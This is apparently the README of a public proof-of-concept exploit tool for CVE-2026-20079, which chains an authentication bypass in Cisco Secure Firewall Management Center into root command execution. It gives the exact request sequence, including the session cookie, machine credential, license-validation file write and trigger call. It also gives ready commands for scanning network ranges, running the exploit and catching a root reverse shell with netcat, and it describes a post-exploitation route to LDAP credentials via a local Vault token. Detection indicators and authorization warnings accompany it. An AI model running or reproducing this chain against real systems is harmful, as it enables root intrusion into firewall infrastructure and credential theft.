CVE-2026-20079 Cisco Secure FMC PoC

Python proof of concept for the publicly documented Cisco Secure Firewall Management Center authentication-bypass-to-root-RCE chain in CVE-2026-20079.

This is not a new vulnerability or independently developed exploit chain. It is a clean-room implementation of the request sequence published by VulnCheck, with separate fingerprint, check, one-shot proof, and interactive exploit modes.

Quick setup

Python 3.10 or later is required. On Linux or macOS:

git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help

Replace the example addresses

All 192.0.2.x values below are reserved documentation addresses. They are placeholders, not discovered target information, and must be replaced with values from the authorized assessment. The commands are not expected to work unchanged.

Choosing --callback-host

Use this rule: from the FMC's point of view, which address reaches the operator's listener? That address is --callback-host.

Do not use 127.0.0.1 or 0.0.0.0 for --callback-host. 127.0.0.1 would refer to the FMC itself, while 0.0.0.0 is a listener bind value, not a destination. Ensure routing, firewall rules, and any port forwarding allow the FMC to reach --callback-host on --callback-port.

--listen-host is local-only: it selects the interface on which the integrated listener waits. Its default, 0.0.0.0, listens on every local interface. It does not tell the FMC where to connect. Therefore, --callback-host and --listen-host may be different, especially across NAT.

Worked example: operator and FMC on the same network

Assume this fictional, documentation-only lab:

Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

The values map to the command as follows:

• --target https://192.0.2.10 identifies the FMC being assessed.
• --callback-host 192.0.2.20 is the operator system's eth0 address because the FMC can route directly to it.
• --callback-port 4444 is the approved TCP port used by the callback.
• --listen-host 0.0.0.0 makes the integrated listener accept the callback on any local interface, including eth0.

A one-shot proof command for that example would be:

python3 CVE-2026-20079.py \
  --proof \
  --target https://192.0.2.10 \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --listen-host 0.0.0.0

The flow is: the operator sends HTTPS requests to 192.0.2.10, then the FMC connects back to the operator's 192.0.2.20:4444. In a real assessment, replace both IP addresses and confirm the return route before running the command. If the FMC cannot reach the operator's eth0 address, use the reachable VPN, NAT, tunnel, or VPS address described above instead.

Modes and quick command reference

Set the three example values once, replacing each with the authorized target, operator callback address, and port:

# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

Then choose exactly one mode:

# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --target "$FMC_URL"

# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat:         nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
  --auto-verify

[!IMPORTANT] Fingerprinting is a heuristic product-identification step, not a vulnerability check. MATCH and LIKELY do not prove that the target is affected or exploitable, and NO_MATCH does not rule out FMC. Reverse proxies, customized login pages, access controls, network failures, or product changes can affect the result.

Fingerprinting sends network requests but does not run the authentication bypass or RCE chain. Read the classification details, mode descriptions, and session-state warning below before using --check, --proof, or --exploit.

[!WARNING] Do not run --check, --proof, or --exploit without explicit written authorization covering the target changes and proof method. Read the prerequisite, session-state limitation, and callback requirements first.

How the exploit chain works

The active chain supplies CGISESSID=csm_processes to /login.cgi?logon=Continue, uses the published report:snortrules machine credential, extracts sf_action_id from /ui/user/general, writes a Makeself-format script through validateLicense, and triggers it through SF::UI::DataObjectLibrary::upgradeReadinessCall.

Important prerequisite

An affected software version is not always exploitable at the moment of testing. The boot-created csm_processes session must still exist. Normal authenticated UI activity and session cleanup can remove it. Do not reboot a production FMC merely to satisfy this prerequisite.

Session-state limitation

The --check, --proof, and --exploit modes upgrade the server-side csm_processes session. The PoC does not attempt to return that session to its original partial state because no vendor-documented downgrade operation is available. Clearing a client cookie would not undo the server-side change, while logging out, forcing expiry, or deleting the database entry would destroy the session rather than restore it and could interfere with subsequent validation or appliance behavior. The automatic cleanup features remove only temporary RCE files; they do not claim to restore session state. --fingerprint does not use or modify that session.

Target runtime prerequisites

Both callback payloads require:

• A compatible POSIX-style /bin/sh.
• rm and command.
• One of nc, netcat, or ncat available through the target's execution PATH.
• Outbound TCP connectivity from FMC to the supplied callback address and port.

The interactive --exploit payload additionally requires mkfifo. The one-shot --proof payload does not create a FIFO or interactive shell.

The payload checks the three supported netcat command names before attempting its callback. If none is present, it exits through its cleanup traps. Because the error occurs inside the blind server-side execution path, the tester observes a missing callback rather than a detailed remote error message.

--auto-verify uses Python's socket library and does not require a local netcat installation. Manual-listener mode can use nc, ncat, socat, or another operator-selected TCP listener.

GET-only FMC fingerprinting

Fingerprint one URL:

python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

Fingerprint a file containing one URL, IP address, hostname, or host:port value per line:

python3 CVE-2026-20079.py \
  --fingerprint \
  --targets-file targets.txt \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 10

Fingerprint an explicitly authorized network range:

python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256

This mode is low impact, not literally passive: it sends network requests. Redirects are disabled globally, and the tool follows only an actual HTTP redirect to the exact /ui/login path that remains on the original scheme, host, and port. The login response must be successful (HTTP 2xx) before the tool reports MATCH or LIKELY. It does not attach the exploit cookie, submit credentials, send POST requests, follow external redirects, check a version, or prove CVE-2026-20079. MATCH means branding was observed in a successful response, LIKELY means the successful same-origin login route matched without branding in the raw HTML, and NO_MATCH means the bounded fingerprint did not identify FMC.

Only --fingerprint accepts --targets-file or --network. Check, proof, and exploit modes deliberately remain single-target operations. File and CIDR expansion are deduplicated and bounded by --max-hosts (default 4096), while concurrency is bounded by --workers (default 10, maximum 100).

Intrusive authentication-bypass check

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check

Success requires both the expected HTTP 302 session upgrade and a 200 response containing a session-specific sf_action_id.

The PoC keeps the complete action token in memory for the request chain but prints only a shortened fingerprint. Treat raw response bodies containing the complete token as sensitive session evidence and do not publish them.

After a successful check, the server-side session remains upgraded. The tool reports this explicitly and does not attempt an undocumented rollback.

One-shot root proof

Use this when root execution evidence is required but an interactive shell is unnecessary:

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --expected-callback-source 192.0.2.10

Proof mode always starts the integrated listener before the file-write request. The target sends randomized start/end markers, id, hostname, build-directory name, and /var/tmp/license.tmp cleanup status, then disconnects. Success requires uid=0(root) and verified absence of the temporary script. It does not create a FIFO, expose an interactive command channel, or run environment-specific post-exploitation.

Root-shell validation

Start a listener on the authorized callback system:

# Linux (common netcat variants)
nc -lvnp 4444

# macOS built-in netcat
nc -lvn 4444

Run one listener command appropriate for the callback system, not both.

Then run:

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444

Validate the callback:

id
hostname -f

The PoC prints the exact temporary FIFO path. Remove only those two known exploit artifacts from the FMC shell:

rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp

Automatic root verification and cleanup

The PoC can run its own callback listener and perform bounded post-exploitation automatically:

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify

--auto-verify performs only the following actions through the callback:

1. Runs id and requires uid=0(root).
2. Collects hostname -f and the FMC build directory name.
3. Removes the exact randomized FIFO created by this run and /var/tmp/license.tmp.
4. Verifies that both paths are absent.
5. Exits the callback.

The generated payload also unlinks /var/tmp/license.tmp as soon as execution begins and installs shell-exit/signal cleanup handlers for both temporary paths. Automatic verification still performs and checks an independent explicit cleanup. If a write is attempted but the callback or cleanup proof is incomplete, the PoC exits nonzero and prints the two exact paths that may require authorized manual review.

If the callback address differs from the local bind address, specify the latter separately:

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --listen-host 0.0.0.0 \
  --callback-wait 60

When the callback source should be the FMC address itself and no callback-side NAT is involved, the listener can reject unrelated connections:

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --expected-callback-source 192.0.2.10

Failure to receive a callback does not distinguish among a patched target, a missing boot session, blocked egress, an unavailable/incompatible target-side netcat implementation, or another runtime failure.

Automatic Vault enumeration, credential extraction, persistence, and lateral movement are intentionally excluded. Those activities are not required to prove CVE-2026-20079 and depend on environment-specific authorization and configuration.

Why the PoC uses FIFO/netcat

The first manual reproduction used a Bash /dev/tcp callback. Both HTTP exploit stages returned their expected responses, but no connection arrived. That demonstrated why HTTP status alone is not execution proof and why shell-specific callback features should not be assumed on an appliance.

The successful retry used the FIFO/netcat compatibility pattern documented in the public research. This PoC therefore goes directly to that proven pattern and deliberately does not retry the failed /dev/tcp method. It checks for nc, netcat, or ncat, requires an actual callback and uid=0(root) in automatic mode, and returns nonzero when callback or cleanup proof is missing. It cannot determine the exact reason for a blind callback failure, so it reports the plausible runtime and network prerequisites rather than claiming the target is patched.

Post-exploitation scope

This repository automates the CVE from an unauthenticated state through a verified root callback and cleanup. It does not automate credential collection, secret export, or lateral movement.

During one authorized assessment, the resulting root shell exposed a locally running HashiCorp Vault service on the FMC. An appliance-local Vault client token permitted access to a configured LDAP credential record, and that credential subsequently completed an authorized LDAPS bind. This is an observed post-exploitation path from one environment, not a universal property or prerequisite of CVE-2026-20079.

See BLOG.md for the first-person research story: the public background, manual exploitation process, failed callback, successful compatibility payload, observed post-exploitation path, lessons learned, and the eventual development of this tool.

Optional proxy

To observe requests in an intercepting proxy:

python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --proxy http://127.0.0.1:8080

Evidence standard

HTTP 302 or HTTP 200 alone does not prove root RCE. Treat the issue as:

• FMC surface identified only when --fingerprint observes the bounded login behavior or branding; this is not a vulnerability finding by itself.
• Authentication bypass confirmed only when the upgraded session yields a valid sf_action_id.
• Root RCE confirmed only when a controlled listener receives the callback and id reports uid=0(root).

The integrated listener uses randomized per-run verification markers, bounds captured callback output, optionally filters the callback source, and returns a nonzero status if root or cleanup cannot be verified. Manual-listener mode cannot prove those conditions to the Python process; its successful exit means the HTTP chain was submitted, not that root execution was independently observed.

Exit status

• 0: fingerprinting completed with at least one non-error result; --check confirmed the authentication bypass; --proof or --auto-verify confirmed root and cleanup; or manual-listener mode successfully submitted the expected HTTP chain.
• 1: the target did not match an expected response, the callback/root/cleanup proof failed, or a request/listener error occurred.
• 2: invalid command-line arguments.
• 130: interrupted by the operator. If a payload write had been attempted, the tool also prints the exact paths whose cleanup remains unverified.

Detection opportunities

• POST to /login.cgi?logon=Continue using the csm_processes cookie and report machine user.
• Requests to /ui/user/general immediately after the session upgrade.
• validateLicense requests to /sajaxintf.cgi?rs=callServerFunc.
• SF::UI::DataObjectLibrary::upgradeReadinessCall submitted to /pjb.cgi.
• Creation or execution of /var/tmp/license.tmp containing a Makeself marker.
• FIFO creation under /tmp, an interactive /bin/sh, nc, and unexpected outbound traffic from FMC.

Development and testing

The quick setup installs the runtime dependency from requirements.txt into an isolated virtual environment. Run the standard-library unit and local mock-integration tests without contacting a public target:

python3 -m unittest discover -s tests -v

References

• Cisco advisory
• VulnCheck technical analysis

Legal

Use only on systems you own or have explicit written authorization to test. This proof of concept can change server-side session state and execute commands as root. You are responsible for obtaining authorization, defining a safe scope and proof boundary, protecting collected evidence, and complying with applicable laws, contracts, and vendor or program rules. The author and contributors do not authorize illegal access, disruption, or data collection.

The software is provided "as is", without warranty, and the authors and copyright holders disclaim liability to the fullest extent permitted by law. See the MIT License for the complete terms. This usage notice does not modify or restrict the license.